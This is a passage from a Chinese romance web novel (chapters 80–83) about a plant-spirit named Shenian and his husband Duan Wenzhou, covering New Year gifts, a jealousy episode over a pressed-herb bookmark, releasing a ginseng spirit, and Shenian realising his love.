这幅美景让佘念忍不住感慨出声。 两人齐齐抬头看去, 烟火的光亮映照在脸颊上,明暗交际使得他们的脸颊轮廓看上去更深邃。 “新年快乐,小朋友。” 迎着灿烂的烟花, 段闻洲语音带笑,温柔地在人耳边说道。 “新年快乐老公!” 而佘念则咧开嘴角,对人露出一个比烟火还要灿烂的笑容。 紧接着,段闻洲从大衣口袋里掏出一个早已准备好的红包,交到人手中。 感受着掌心沉甸甸的重量,里面的金额绝不是少数,佘念有些讶异。 “这个,是给我的吗?” 他双手捧着红包,怔怔地问道。 “当然,收下吧。” 虽然说佘念已经成年,并且已经结婚,怎么看都不符合拿红包的条件,但在段闻洲的眼中,他总觉得别人有的东西,佘念也该有。 所以,他提早就为人准备好了大红包,一到十二点便送出。 “谢谢老公!” 拿着人送的红包,佘念嘴角的笑意更加止不住了,爱不释手,拆都舍不得拆就珍惜地放进了口袋中。 不过想到自己没有给人准备红包,他有些不好意思,眼珠子转了转,想到了一个弥补的办法。 “那,我以后再送你别的礼物好啦。” 他轻轻地眨了一下眼,软声说道。 虽然说红包这种东西并不讲究礼尚往来,不过很好奇小朋友到底会准备什么礼物,段闻洲拒绝的话在喉间一转,答应了下来。 从露台下来后,时间不早了,屋内的段老爷子几位长辈一过十二点,就回房休息了。 由于今晚要在主宅留宿,考虑到两人是已婚,所以佘念便直接住在段闻洲的房间,没有另行安排客房。 来到段闻洲的房间,好奇的佘念不停地扭头打量。 主宅的这处卧室,是段闻洲从小生活到大的地方,直到工作后才搬出,遍布了他的成长痕迹。 一想到这里曾经生活着自己没见过的段闻洲,佘念就莫名燃起了求知欲,想了解人的过往,知道更多关于人的事。 因而,他仔细查看起房间的每一个角落,每个细节都不放过。 书柜里摆满了各种奖杯,书桌上也收纳了琳琅满目的书籍,不像家中的书房那样全是晦涩难懂的金融类书籍,而是什么类型的书都有,甚至还有奥数,很明显是段闻洲在学生时期看过的。 “好多书啊,我可以拿一本看吗?” “当然,你随意。” 得到许可后,佘念踮起脚尖,随手从柜子里取下其中一本。 那是一本高中课后辅导书籍,上面记载了密密麻麻的笔记,显然主人曾认真学习过上面的内容。 其中还夹杂着记录的便签贴和书签。 视线被中间夹着的一枚绿色书签吸引,佘念咦了一声,好奇地将其拿出来打量。 叶片细细的,长长的,宛如一条月牙,分散地长在根茎两侧,并且头部还有一小朵白色的花。 从这植物的颜色来看,很明显不是新采摘下来的,已经被夹在书中许久,自然褪去水分成为了书签。 这个模样…… 等等,这不是蛇舌草吗! 老公他为什么会用蛇舌草当书签? 你居然背着我在外面有别的草了?! 想到这,佘念杏眼一瞪,大步冲到段闻洲的跟前质问: “这是你的书签吗?” 见状,段闻洲思索了好一番才回想起来: “应该是的,当时不知道从哪得到了这个草,就顺手夹在里面当做书签了。” 没有注意到人气势汹汹的询问语气,也可能是因为这声音太软听上去不像,状况外的他丝毫不知佘念在意的点,还拿起这棵小草打量起来。 什么?来路不明的蛇舌草你都敢带回家? 路边的野草不要采啊你知不知道! 不对,我好像也是来路不明的…… 不行,我和外面的野草那能一样吗! 眼下段闻洲和其他草的事情证据确凿,而且两人还是比自己更早遇见,不知怎的,佘念没来由觉得心底有些不爽,一股酸溜溜的感觉泛起。 他说不清为什么,但就是觉得很不舒服。 于是他瞪着眼,撅嘴,圆圆的眼珠子向上望去,露出了大半眼白,一脸哀怨地紧盯着对面的人。 浑身上下散发出审视的气压,满脸写着你在外面居然有别的草了你是不是不要我家里这颗草了。 看上去像在生气,但是好像又不像。 因为这幅鼓气的样子有点像糯米麻薯。 嘟起的脸颊圆滚滚的,仿佛一戳就会凹陷回弹的糯叽叽,手感看起来就很好。 于是乎,完全没发现人是在生气的段闻洲,还抬起手戳了戳他的脸颊。 嗯,手感确实很好,又软乎又Q弹。 指间一碰到脸蛋,对面瞪着眼睛的小朋友愣了愣,眯起的眼睛忽然睁圆,紧接着缓慢地眨了一下,浮现出难以置信的神情。 我正在生气,你居然还敢戳我? 能不能严肃一点! 给我小蛇舌草一点最基本的尊重好不好! “哼!” 越想越气的佘念哼了一声,这下是真的气鼓鼓了,竟直接抱着那本书转过身,不愿意看着人了。 “怎么了?” 后知后觉意识到不对,段闻洲愣了愣,转而来到人跟前,不解地问道。 “我生气了!” 小蛇舌草摆出自认为最凶的表情,抿唇瞪着他。 “我做错什么了吗?” 本想好好问清楚原因,但无奈佘念这幅故作凶狠的模样实在太可爱,段闻洲一下子没忍住,轻声笑了出来。 “你还笑!” 见状,佘念腾地一下站起,双手叉腰,严肃地仰头看向对面的人。 “抱歉,我没有。” 轻咳一声,段闻洲连忙压住嘴角的笑意,举起双手,表示自己正十分认真地接受批评。 “请问小朋友,我刚刚做错什么了?” “哼。” 你错在背着我有别的草,佘念气鼓鼓地在心里想道,但话在嘴边,最终却又没有说出口来,只是背过身去。 他也不知道为什么自己不直接说出来,也不明白为什么会这么不舒服。 心绪如乱麻一样,剪不断理还乱,越想越烦的佘念觉得脑容量不够用了,索性摆烂,一把掀开被子钻了进去。 “晚安!” 睡下时还不忘附赠一句自认凶巴巴的晚安。 怎么闹脾气的样子也这么可爱。 段闻洲只觉得心都化了。 “不理我了?” 他在床边坐下,轻轻拍了拍人的肩膀。 只见床上的佘念撇开肩膀,不让他碰,不仅不回答,还拉起被子盖住了脑袋。 偌大的床上,鼓起了一个圆润的包。 情不自禁地,段闻洲联系到两人初次在佘家见面时,二楼角落那个圆滚滚的白色大蘑菇。 当时的佘念也是这样,用被子披在身上,整个人蹲在楼梯拐角处。 和现在一样可爱。 哦不行不能笑,等会又惹小朋友生气了可怎么办。 虽然没有弄明白他闹脾气的点,但段闻洲却丝毫不觉得人在无理取闹,只是觉得这样闹一闹的佘念也很可爱,很有活力。 “那我去洗漱一下,你先睡。” 见佘念摆明了不想搭理自己,段闻洲好笑地勾了勾唇,然后起身去了卫生间。 等他洗漱完回来时,床上那团大蘑菇依然伫立在原来的位置。 不过或许是听见了脚步声,大蘑菇默不作声地向床的内侧挪了挪,腾出了一半的空间给人,还格外体贴地分了半床被子过来。 即使一句话不说,但意思已经很明确了。 ——喏,你睡这边,我睡另一边。 怎么能这么可爱呢,段闻洲觉得嘴角上翘的弧度快压不住了,放慢脚步爬上床。 “在被子里蒙太久,会呼吸不上来的。” 他向内靠近几分,试着把人头上盖着的被子掀开。 大概是真的有些闷,这下佘念没有推拒,只是默不作声地,任由人动作。 但依然背对着人,只是拿圆溜溜的后脑勺看向人,怎么都不肯转过身来。 “真的不打算理我了吗?” 见状,段闻洲又碰了碰人的胳膊,没想到小朋友却又往旁边缩了缩,大有今天一整个晚上都不肯理人的架势。 “那今晚还要抱着睡吗?” 看着人的背影,段闻洲无奈又好笑,先自行侧躺了下来,面对着小朋友的方向。 果然,一听见抱着睡,佘念就仿佛探测到目标了的雷达,甚至幻视能看见他头顶的呆毛天线一样竖了起来。 “今晚真的不要我抱着你睡吗?” 偏偏段闻洲低沉的磁性嗓音还在耳畔响起,引诱着我们的小蛇舌草。 80-90 第81章 可以抱着睡?这也太有诱惑力了, 这谁能让忍得住。 老公这招太阴险了叭! 佘念愤愤地想,险些控制不住自己,想转过身一把扑进人的怀里了。 但一想到自己现在可还在闹脾气, 他微微转动的肩膀便迅速收回, 继续维持着方才背对人的姿势。 “不要吗?那好吧。” 见人一动不动, 段闻洲佯装失望,顿了顿又补充了一句。 “但是我的怀抱一直敞开, 你随时可以钻进来。” 这话一出,更具有诱惑力了。 我们的小蛇舌草纠结了半天, 既舍不得温暖的怀抱,但又拉不下脸。 最终, 他想到了一个折中的办法。 只见他依然保持着背对人的动作, 但在缓缓地后退, 慢慢向段闻洲的方向靠近。 紧接着, 那团身影缓缓地倒车进了人的怀抱中,但依然保持着最后的倔强。 ——那就是,不肯转过来正对着人。 瞧见他这幅样子, 段闻洲只觉心底软得像是有羽毛轻拂过, 痒不可耐。 “给你唱一首歌,哄你睡觉好不好?” 乘胜追击, 他继续对怀里的人提议道。 听见这话, 佘念的耳朵动了动,很显然是心动的。 于是段闻洲翘了翘嘴角,轻哼起温柔的歌来。 伴随着歌声, 怀中的人呼吸渐渐变得均匀,很快就进入了梦乡。 ——睡着了。 段闻洲了然,放轻了动作将人往怀里搂了搂。 就在他犹豫是否要把人转过来, 和自己面对面时,怀里睡得迷迷糊糊的佘念忽然间呓语一声,然后自己主动转了过来。 大概是在讲梦话,他口中低声嘀咕了几句听不清的话,随后本能地往段闻洲的方向挪了挪,脑袋枕在肩窝处,下意识蹭了蹭。 虽然在闹脾气,但在睡着以后还是会主动靠过来。 也太可爱太乖了。 看着人乖巧的睡颜,段闻洲感慨道。 他一手环住人的腰,一手揽住人的肩膀,把小朋友紧紧地抱在怀中。 两人相拥而眠,共同进入了温柔的梦乡。 直到第二天晨曦照进卧室内,两人几乎同一时间醒来。 丝毫不认床的佘念睡得很香,醒后浑身暖洋洋的,睁开眼伸了个大懒腰。 “早安。” 对面的段闻洲眼底浮现一抹笑意,柔声地对他说道。 “早安噢老公——” 闻言,双眼还惺忪着的佘念打了个哈欠,下意识回应。 而哈欠打完后,他猛然间回过神,话都说完了,才后知后觉反应过来自己好像还在闹脾气来着。 生气了怎么还能跟人说早安呢! 于是佘念立刻紧抿着嘴,一双圆圆的眼睛立刻眯起几分,像一只警惕的猫咪一样,满脸严肃地盯着对面的人。 眉目间传递出一个消息:那就是我还没有消气嗷! “还在生气?” 偏偏当事人哪壶不开提哪壶,这么一问,我们的小蛇舌草就更生气了。 谁让你在外面有别的草了,小蛇舌草生气了,后果很严重,很难哄好的那种。 “抱歉,我错了。” “你错哪了?” “呃……你说呢?” “你看你都不知道错哪了!” 你明明错在背着我有别的草!这么明显的事居然都想不明白! 果然和电视上演的一样,男人都是大猪蹄子。 诶不对,我自己也是男人来着,我可不是大猪蹄子啊? 算了,想不通,反正归根到底都是老公的错就对了。 不想理人的佘念气鼓鼓哼了一声,直接掀开被子,越过人的身上爬下了床。 因为刚睡醒,他的头发被睡得蓬松极了,歪七扭八地竖着,凌乱得这里翘一小撮,那里支楞一小束。 偏偏他本人还毫无知觉,只顾着不想搭理人,就这么大踏步,气冲冲地进了卫生间洗漱。 头也不回。 从背影看去,他乱糟糟的头发就好像小鸟炸毛一样,在光线下显得毛蓬蓬又软乎乎,晕满了金色光辉。 ——如果你把我惹毛了,那我就毛绒绒地走开。 怎么这么可爱。 盯着他一步一个脚印离开的背影,段闻洲只觉心都化了,嘴角不知不觉浮现笑意。 虽然今天是初一,一个按理来说可以睡懒觉的日子,不过由于今天会有很多亲戚来上门拜年,所以段家的几人都起了个大早。 当各旁支的亲属都登门时,主宅一时间变得格外热闹。 和各位亲戚们打过招呼,应付完各种嘘寒问暖后,剩下的时间就是长辈们自己的了。 好不容易招待完所有的亲戚,大家喝茶的喝茶,打麻将的打麻将,下棋的下棋,段闻洲怕佘念不自在,便想着带人去楼上或者外面走走。 不过他环视了一圈四周,却没有找到人的踪迹。 “妈,佘念呢?” 他来到于秋柳的身边,询问道。 “小念刚刚和我一起在楼上的呢。” 正在打麻将的于秋柳头也不抬。 “哎呀,两个人感情这么好啊,一会没见就开始找人了。” 对面的婶婶打趣道。 闻言,段闻洲只是笑了笑,不置可否,然后上了楼,果然在二楼的书房找到了佘念。 “你怎么上来了?” 此时的佘念坐在沙发上,手里拿着织针和毛线,正认真地织着什么。 “我听妈说你在楼上,在做什么?” 一边说,段闻洲一边走近,顺势在人身旁坐了下来。 “我在……不告诉你。” 好险,差点要回答了,佘念迅速反应过来,哼一声偏过头,还向旁边挪了挪屁股,专门与人拉开距离。 “你不跟我说,我怎么知道自己哪里做错了呢?再说了,不管是什么错,只要你说出来,我都会改的。” 没想到小朋友还挺记仇,到现在都没消气,段闻洲笑了笑,主动向人的方向靠了靠。 还不忘在人的额间亲了一口。 “既然惹你生气了,不管是什么事,那我都要说一声对不起,是不是?” “对不起,可以原谅我吗,小朋友?” 说完,他还张开了胳膊,示意人可以坐到自己怀里。 陡然被亲,又听见这么温柔的话,小蛇舌草哪里招架得住,整个人已经晕晕乎乎,飘飘欲仙了。 他本来就喜欢和老公亲亲,更别提被老公主动亲了。 算了,仔细想想,好像确实也不是什么大事。 虽然说那棵草比自己更早遇见老公,但是它的归宿也只是被做成标本而已,而且只留下了一小片叶子。 不像自己,可是能一直陪在人身边的。 不仅能陪在身边,还能有亲亲抱抱,嘿嘿。 就这样,早上还在说没消气的佘念,眼下就这么轻易地,自己把自己给哄好了。 于是他站起身,默默地坐到了段闻洲的大腿上,用行动表达着原谅。 “那老公,你能不能把你房间里的那个书签给扔掉?” 他摆弄着手中的针,佯装无意地提道。 书签?是指昨天书里的那枚吗? “当然可以。” 只是一枚植物书签而已,段闻洲立刻就答应了。 嗯?这么容易就答应了,看来这株蛇舌草对老公来说也没多重要嘛? 想到这,佘念哼哼了两声,露出一个胜利者的微笑。 虽然说吧,是虚空索敌。 “那你会把我扔掉吗?” “怎么会,扔掉什么都不会扔掉你。” 拿人当宝贝宠都来不及,又怎么会舍得丢掉呢? 看吧,果然比起外面的草,对老公来说自己才更重要。 这下佘念嘴角的笑更是压不住了,也完全原谅了段闻洲。 “高兴了?” 原来昨天不高兴的原因就在于那枚植物书签?段闻洲捏了捏他的鼻子,哭笑不得。 “嗯。” 而佘念用力地点了点头。 “那我等会就去扔掉。” “唔……算了吧,要不送我好了。” 让自己拿着,万一以后还能遇到那叶子的原主呢,佘念还想看看,到底是什么样的蛇舌草,能比自己提早那么多遇见老公。 “你这是在织什么?” 毫不犹豫答应下来,看着人手中的红色毛线,终于把人哄好的段闻洲好奇地问。 “我跟妈妈学了怎么织围巾。” 说着,佘念给人展示了一下手里的半成品,并将其挂在了他的脖子上比划了一下长度和大小。 “给我的?” 见状,段闻洲挑了挑眉。 “算是红包的回礼,不过还没织好呢。” 佘念认真地点头,见宽度很合适,便继续手上的动作。 春节在家都没什么其他的事要忙,所以全神贯注的佘念很快就织好了这条围巾。 “喏老公,送你的!” 第一时间他就捧着成品,兴冲冲地拿到了段闻洲的跟前。 本想直接给人带上,但无奈身高差摆在那,他只好让人低一下头。 闻言,段闻洲立刻屈膝弯腰,而佘念便直接踮脚,把亲手织好的围巾搭在了他脖子上。 红色的围巾搭配着人惯常穿的黑色大衣,为单调沉稳的色调中增添了一抹亮色和喜庆,不仅不违和,还很搭。 虽然技巧还不尽完美,针脚中可见粗糙的痕迹,但于段闻洲而言,这已经是世界上最宝贵的围巾。 “谢谢,围巾很漂亮,我很喜欢。” 力道轻柔地捧着围巾,一想到这是小朋友一针一针织出来的,他的脸上就尽是珍惜和欣喜之意。 而得到肯定的佘念,骄傲地昂了昂下巴。 至于后来,上至手套帽子毛衣,下至家中的沙发垫子冰箱罩,被鼓励的他都给织了一套,家里全是毛线制品,那就是后话了。 ———— “老公,你能带我去爬山吗?” 初五这天,佘念忽然找到段闻洲问。 爬山?大冬天的合适吗? 不过瞧见人湿漉漉的眼睛,拒绝的话到了嘴边,最后又咽了下去。 第二天,段闻洲驱车带佘念来到了郊区的这座山。 看着人怀里捧着的花盆,他怎么也没想到,佘念要来这里的目的,竟然是来放生的。 只不过,放生的东西,是人参。 第82章 郊区的这座山, 严格来说算是开发了一半的山上公园,前半部分是配套设施都齐全的景点,而后半部分则是人迹罕至的深山老林。 一般来说, 游客都被禁止进入后半部分, 以免发生意外。 捧着怀里的花盆, 佘念不停地张望,在寻找合适的土壤。 ——今天他特意来这里, 其实就是为了带人参兄弟回家的。 用人类的话说,或许也能叫入土为安? 自从前段时间帮助救了段老爷子后, 经过这么长时间在土壤里的休养,人参精已经恢复了大部分的法力, 不需要继续待在花盆里了。 考虑到未化形的妖精都是更喜欢大自然的, 所以佘念在同人参精商量过后, 便找了时机, 准备把其送回山里。 “佘念,不能再往里走了,再进去就是未开发区域了。” 站在山顶最高处的栅栏旁边, 见佘念似乎想往更深的山林里钻, 段闻洲一惊,快步上前拉住了人。 “嗯?我就想去那里, 不远的。” 隐约从人的话语中听出几份焦急, 佘念停下脚步解释,却一回头就对视上了那双紧张的眸子。 他所指的位置并不远,只是从栅栏里翻进去, 大概走五十米左右的位置,甚至都没有离开视线范围内。 本以为离这么近应该没关系,但是他没想到老公的反应会这么夸张, 倒把他吓到了。 之所以选择那里,是因为一说到这座山头,人参精就认出这是自己曾经扎根成长的那片山林,它想回到最原本的土壤中。 不然的话,其实佘念随便找块地把它埋起来就好了。 严格来说,这附近应该也是佘念自己生长过的地方,没想到就在A市郊区这里。 “不行,不能去那边,很危险。” 虽然听见人解释了,但段闻洲依然不肯松手,神情还是十分严肃。 “我小时候在这座山走丢过,这边的未开发区域不要去,很危险。” 对于在山头走丢的记忆,由于当时年纪太小,他本人记忆其实并不是很清晰,只是记得上山后自己在雾里迷了路,昏迷醒来就被大人找到了,中间发生了什么都毫无印象。 据大人们说,当时全家都急疯了,搜救队几乎快把整座山都翻了过来,可两天两夜都没找到人的踪迹,没想到最后竟意外在山顶附近见到了毫发无损的他。 因为有过这样的经历,所以面对这种危险区域,段闻洲自然是不可能让佘念过去的。 “那我就在这里好了。” 见状,佘念也不再坚持,用植物的语言同人参精沟通,争得了同意后,便重新选择了安全区域附近的一处土壤。 他拿小铲子挖了个很深的坑,然后小心地将人参放了进去。 见他这么听话,段闻洲放下心来,蹲下身给人打着下手。 不过瞧着人的举动,弄明白人想干什么了以后,他欲言又止,沉默片刻,但动作上依然很配合。 ——放生动物的见过,放生植物还真是头一次。 不理解,但尊重。 “谢谢你,给你留一份礼物,以后补身体的时候可以用得上。” 重新回归自然的人参精摘下自己的一小截根须递给他,算是道别礼物,表达着自己的感谢。 “不客气,以后有机会再见!” 接过礼物后,佘念也挥了挥手,然后替其埋上了最后一捧土。 “现在下山,还是再待一会?” 见他拍拍手大功告成,段闻洲问道。 想呼吸一下久违的清新空气,佘念便打算再停留片刻,他来到最顶峰的栅栏处,深呼吸了一口气,感受着大自然不一样的气息。 这时他从注意到,原来从山顶这里眺望,是可以将整座A市的风光尽收眼底的。 “那里就是我们住的地方。” 说着,段闻洲来到他身边,指了指某个方向。 从俯瞰的角度看去,城市的高楼大厦宛如模型一般被缩放,在云雾缭绕之中若隐若现。顺着人所指的方向看去,佘念一眼就望见了主宅所在的方向。 居然离得也并不远。 从山顶俯视看来的目光,和从主宅仰头望来的视线,穿过云层,要多久才能相遇呢? ———— 至于那片让小蛇舌草不停吃醋的书签,从山上下来后,段闻洲很快就拿给了人,以防他再闹脾气。 虽然说,耍小性子的佘念也很可爱就是了。 而拿到手的佘念则是将其装在了一个小盒子中,随身携带,等着日后好对比找到当事草,看看这究竟是路边的哪棵蛇舌草。 ——没有其他的意思,只是单纯想知道是谁而已。 春节很快过去,与假期交接的是恢复曾经作息的日常。 这天下午,大半个月没见的阮晨,主动约佘念出来吃饭。 经过长时间的休养,他得以拆掉石膏,虽然胳膊还不能提重物,但已经恢复了大半。 这么久没见,佘念总觉得人好像有哪里不太一样了。 嗯……感觉好像变得更容光焕发,也更春风满面了。 似乎体重也略微增加了点。 “你是不是胖了一点?” 看来齐子修把人照顾得很好,佘念眨巴着眼问道。 “有吗……” 闻言,阮晨像是有些心虚,讪讪地摸了摸自己的鼻子,特别是在听见齐子修的名字后,脸更是唰地一下就红了。 他不好意思地挠了挠脸,纠结了一会后,选择了主动交代: “其实,我和齐子修在一起了。” 或许这话落在其他人耳中会显得奇怪,都已经结婚了的人还说什么在一起,但佘念明白他是什么意思。 “是他先对我表白的。” 回想起当时的场景,阮晨轻咳一声,压下脸颊上的热度,继续说了下去。 从自己骨折那天开始,他就能察觉到齐子修有所变化,变得比之前还要贴心温柔。 甚至偶尔对上目光时,还会被其中复杂炽热的情绪给烫到。 特别是在他后来听佘念说,齐子修在手术室外落泪了的时候,心里险些产生了动摇。 只不过曾经自尊受到过一次伤害,所以阮晨以为人还在扮演完美的丈夫,不敢再次肯定心中的猜测,怕重蹈覆辙。 直到后来,当齐子修真正表白了后,他才恍惚意识到似乎这一次自己没想错。 如果还是假装的话,那表白这一步着实有些入戏太深,所说的这些话也太过发自肺腑。 齐子修就像是一块冰山,对外界的任何事物都是冷冰冰的,长久以来已经形成了习惯,以至于冰山融化时本人都未察觉。 直到亲眼看见阮晨受伤的那时,他才认识到何为心痛的感觉。 那是他二十多年以来,第一次体会到心脏被人扼住的痛苦,也是第一次有如此强烈的情绪波动。 抽丝剥茧,追根溯源,从心痛的感觉回溯至初见,才发觉原来自己早已心动而不自知。 他对人的那些好,确实是因为有提前学习过恩爱的夫妻是如何相处的,但在实践时,一举一动都参杂了真心。 其实并非阮晨一厢情愿,而是有人爱而不知。 所以,在面对唯一会牵动自己情绪的人,在真正意识到自己的心意后,齐子修袒露了全部的心声,向人表白。 ——“我不知道这份感情到底叫什么,但是我知道在我心里,你和其他人都不一样。” ——“只有看见你,我才会放松,也只有你受伤,我才会心痛。” ——“我想,这种感情,应该就是人们常说的爱,只有在你身上,我才能感受到爱。” ——“阮晨,我爱你。” “……然后我们就把话说开了,原来他也是喜欢我的。” 说到这,阮晨的声音愈来愈小,耳根泛红,不停翻搅着跟前的咖啡。 也正是在互通心意后,两人才踏入到下一个阶段,也是这时候阮晨才发现原来齐子修不仅不是性冷淡,还会经常弄得他一整天都下不来床。 所以这段时间阮晨过得格外滋润,慢慢地也被人养胖了几分。 “太好了,恭喜你们。” 两人终于在一起了,由衷地为好友感到高兴,佘念双手捧着脸,笑得格外灿烂。 “所以说感情这事,还是得长嘴说出来才行的,不然你猜我猜,谁能看懂对方的心意。” 如果不是齐子修亲口说,阮晨都不知道原来他也算是对自己一见钟情。 “说起来,你和段闻洲,你俩是谁先告白的啊?” 由于这两人感情太好,所以阮晨已经默认他们并不只是联姻的关系。 以至于他看见佘念一脸懵逼的表情,自己也懵了。 “啊?” 两人异口同声地发出疑问。 “你俩,不会也没说开吧?” 阮晨默默地问。 “没有……” 不知怎的,佘念没来由心虚起来,缩了缩脖子。 “其实,我不知道老公是什么想法。” 甚至连自己是什么感情都不太能弄明白。 “那你自己呢,你喜欢他吗?” “喜欢的,但是我不太明白,我对他究竟是哪种喜欢……” 说着,佘念低下头,搅动着手指,很是为难。 “如果他和别人在一起的话,你能接受吗?” 闻言,佘念猛地摇了摇头。 之前光是听说老公有别的蛇舌草,就憋屈得心里发闷,更别说还和别的人在一起了。 “如果他亲你,你会同意吗?” 亲亲抱抱都做了好多次了,何止是同意,简直是乐意至极,闻言佘念又小鸡啄米点头。 “那如果他说要跟你离婚,你愿意吗?” 离婚?那必不可能! 离婚了就不能抱大腿……诶等一下,现在好像已经不需要抱大腿了。 可是,即使是这样,自己也不想离婚。 为什么会这样呢? 看着人陷入沉思的表情,身为过来人的阮晨了然,无奈地叹了口气,点醒道: “我觉得,你也是喜欢他的,爱情方面的那种。” “你会不抗拒与他的亲密接触,也会因为他和别人的亲昵而吃醋,说明他对你来说是特别的。” “喜欢分很多种,亲情的,友情的,还有爱情的,假如说我让你亲我一下,你能做到吗?” 说着,阮晨指了指自己的嘴唇。 设想了一下画面,佘念螺旋桨似的猛摇头。 “对吧,但是你就愿意亲段闻洲,所以说你对别人的感情,和对他的不一样。” 自己,喜欢段闻洲?还是爱情方面的喜欢? 听见人的话,佘念愣愣地想。 第83章 有些东西不能说得太满, 还需要当事人自己领悟才行,因此阮晨点到即止,没有说破。 正所谓当局者迷旁观者清, 他能看得出来, 佘念对段闻洲的感情不一般, 甚至段闻洲对他也是有感情的,平常看向人的眼睛温柔得能滴出水来。 可以说是双向奔赴。 可偏偏就是这样的两人, 却至今还没有表白,没有互通心意。也不知是都未察觉真正的感情, 还是有其他原因故意闭口不言。 阮晨知道,自己和齐子修就是一个很典型的反面教材, 所以他希望佘念两人不要步自己的后路, 不要明明彼此间有感情, 却还要走弯路。 看着佘念陷入沉思的模样, 阮晨低头抿了一口咖啡,猜测自己所说的话应该起效了。 剩下的,就要靠两人自己了。 喜欢, 吗? 不是友情、亲情方面的喜欢, 而是爱情方面的喜欢? 自己,喜欢段闻洲? 想到这, 佘念缓慢地眨了一下眼睛, 处于一种半懂不懂的茫然状态。 他总觉得思绪还有些捋不通,默默拿出手机,点开某软件, 在搜索栏中打字: “喜欢一个人是什么表现?” 网页显示出参考回答: 【表现一:看见TA时会心跳加速,甚至有些紧张,但格外期待与其见面。】 似乎是这样的, 每次见到老公,特别是老公散发魅力比如沉浸在工作中时,自己的心脏就会猛跳几拍。 【表现二:总是想与TA分享,无论是高兴的还是伤心的事,第一反应都是想告诉他。】 好像也对,自己每天都会同老公分享各种见闻及日常,遇到不开心的事也会和人倾诉,两人的聊天框早已满满当当,消息不断。 【表现三:愿意为TA付出。】 这点也没错,不论是礼物,亦或是其他的事,自己都非常愿意,时间亦或金钱,都乐意花在老公身上。 【表现四:愿意与TA亲密接触,包括牵手拥抱亲吻等。】 都亲亲抱抱好多次了,而且每次老公亲自己都好舒服,当然能接受,还很喜欢。 除此之外,还有其他各种列出的表现,而无一例外的,佘念发现自己都完全符合。 那这是不是就说明,自己是真的喜欢段闻洲的。 爱情领域的喜欢,也就是爱。 也就是说,我,爱段闻洲吗? 在心底得出结论后,佘念怔怔地呢喃,似乎有些讶异。 仿佛困住心中的玻璃屏障被打破,表面浮现出现蛛网般的缝隙,密密麻麻,只待随便用施加些许力道,便会彻底碎裂。 此时的佘念,已经处于一种似懂非懂的状态,像是处在迷宫之中,还差最后一步便能拨开云雾,找到出口。 恰逢这时,当事人段闻洲打来了电话: “佘念,你大概什么时候回家?” “快了。” 瞥了一眼阮晨,见人点了点头,佘念回答道。 “那我顺路去接你好不好,待会有一个商务午餐,我想带你一起去。” 商务午餐?那不是工作上的事吗? 老公要带自己去应酬? 怕耽误人的工作,小蛇舌草没来得及问太多,连忙答应了。 约好了半小时以后来咖啡馆这边接人,阮晨又陪人坐了一会后,就道别离开。 “别忘了我跟你说的,要看清自己的心。” 临走前,他戳了戳人的额头,语重心长地再次强调。 目送阮晨上了车,是齐子修亲自开车来接的人,佘念捂着被戳的地方,缓慢地眨了一下眼睛。 二十分钟过后,段闻洲的车准时出现。 “我要不要换一身衣服?” 爬上副驾驶,见自己老公西装革履的,穿着很是正式,佘念低头看了看自己身上的卫衣,觉得好像不太合适的样子。 “不用,这只是商务伙伴间的共进午餐,你当是一场朋友聚会就好。” 本来这样的场合,段闻洲是应该直接带特助出席的,不过由于特助今天临时身体不适,外加这场午餐基本上都是熟人,本来打算独自去的他眼珠一转,忽然想到可以让佘念代替特助的位置。 “那么今天,就要拜托我们佘特助了。” 他嘴角噙着笑意,打趣道。 “保证完成任务!” 我们的小念助理拍了拍胸脯,自信地接下这份工作。 车辆驶入约定的餐厅,当两人赶到包厢时,已经就座的人纷纷抬头看来,打着招呼。 站着人身后的佘念扫了一眼,发现大部分人都很面生,想来应该都是其他公司的老总,是老公生意上的合作伙伴。 正如段闻洲所说,这场商务午餐并不严肃,更像是朋友间聚餐,大家都很活跃健谈,聊一聊工作上的话题,还有讨论某些行业领域的前景。 都是些很专业的话题,我们的小蛇舌草有一点听不太懂,仿佛在听天书。 不过没关系,有老公一直在给自己夹菜,聊天虽然听不懂,但是最起码知道这里的饭很好吃。 午餐结束后,还有其他行程的人便先行告退离开,当送完所有人后,除了段闻洲和佘念外,还有另一人留着没走。 留下那人名叫穆星,段闻洲其实和他只有过一面之缘,算不上深交。 因为和另一人关系亲密,所以穆星才会有机会被带来一起参加这次午餐。 “段总,今晚上有时间吗?” 他眯眼含笑,单手撑头看来。 总觉得他话里有话,语调也很让人不适,段闻洲没有直接回答: “穆总有什么事吗?” “有时间的话,今晚上愿意赏脸一起约个会吗?” 只见穆星忽然挪近了位置,微微弯腰凑到段闻洲的身旁,挑眉问道。 这样的话暗示性太足,段闻洲不由得皱了皱眉,下意识后退一步拉开距离。 而站在他另一边的佘念目睹了这一切,则瞪大了眼。 这人什么意思,居然敢当着自己的面向老公发出约会申请? 这不就是撬墙角,未免也太明目张胆了吧! 其实,穆星倒并不是上门踢馆,只是他见佘念是跟在段闻洲身后进的包厢,在饭桌上也一直未说话,便下意识默认他是段闻洲的私人助理,所以在人面前才毫无顾忌地开口。 “抱歉,我已婚。” 闻言,段闻洲抬起手,示意无名指处的戒指。 “那有什么关系,反正只是一晚上的约会而已,你不说谁知道?” 瞧见人避开的动作,穆星反而更来劲了,又主动黏近几分。 他刚好就喜欢段闻洲这款的,所以才会主动出击,想着能约个会也算不亏。 正当段闻洲想继续开口拒绝时,没想到身边的小朋友却率先有所动作。 只见佘念猛地抱住老公的胳膊,将其往自己的方向拽了拽,公开宣誓所有权,毫不客气地拉开这两人间的距离。 “不行,这是我老公!” 他恶狠狠地瞪着穆星说道,宛如一只亮起利爪退敌的猫咪,满脸警惕。 你想约会,找你自己老公去,不要找别人的老公! 你没有自己的老公吗,为什么要抢我的老公? “啊?你?” 听见老公一词,穆星愣了愣,突然觉得脑子不够用了。 难道说,这人不是段闻洲的助理,而是他家里的那位? 这句话里猜疑的意味过于明显,很显然是认为佘念在说谎。 亦或是认为佘念比不过自己。 闻言,佘念也举起无名指的对戒晃了晃,胜负心完全燃起来了。 “我们已经结婚了!” 已婚,比起外面的花花草草多一本结婚证,此为一胜。 “他是我老公!” 小蛇舌草已拿下一胜,此为二胜。 “我们受法律保护!” 拿下二胜,此为三胜,三局已全部胜出,未尝一败,可谓是大获全胜。 “抱歉,这位便是我的爱人,所以恕我无法接受你的邀请。” 倒是头一次见小朋友这幅“护食”的样子,段闻洲挑了挑眉,觉得既新鲜,又暗暗有些高兴,没想到小朋友会有这样的表现。 他抬手揽住佘念的肩膀,把对人呲牙的小朋友搂进怀中,呈现出牢牢的保护姿态。 满心满眼,瞳孔中倒映着的只有佘念的身影,再无其他人。 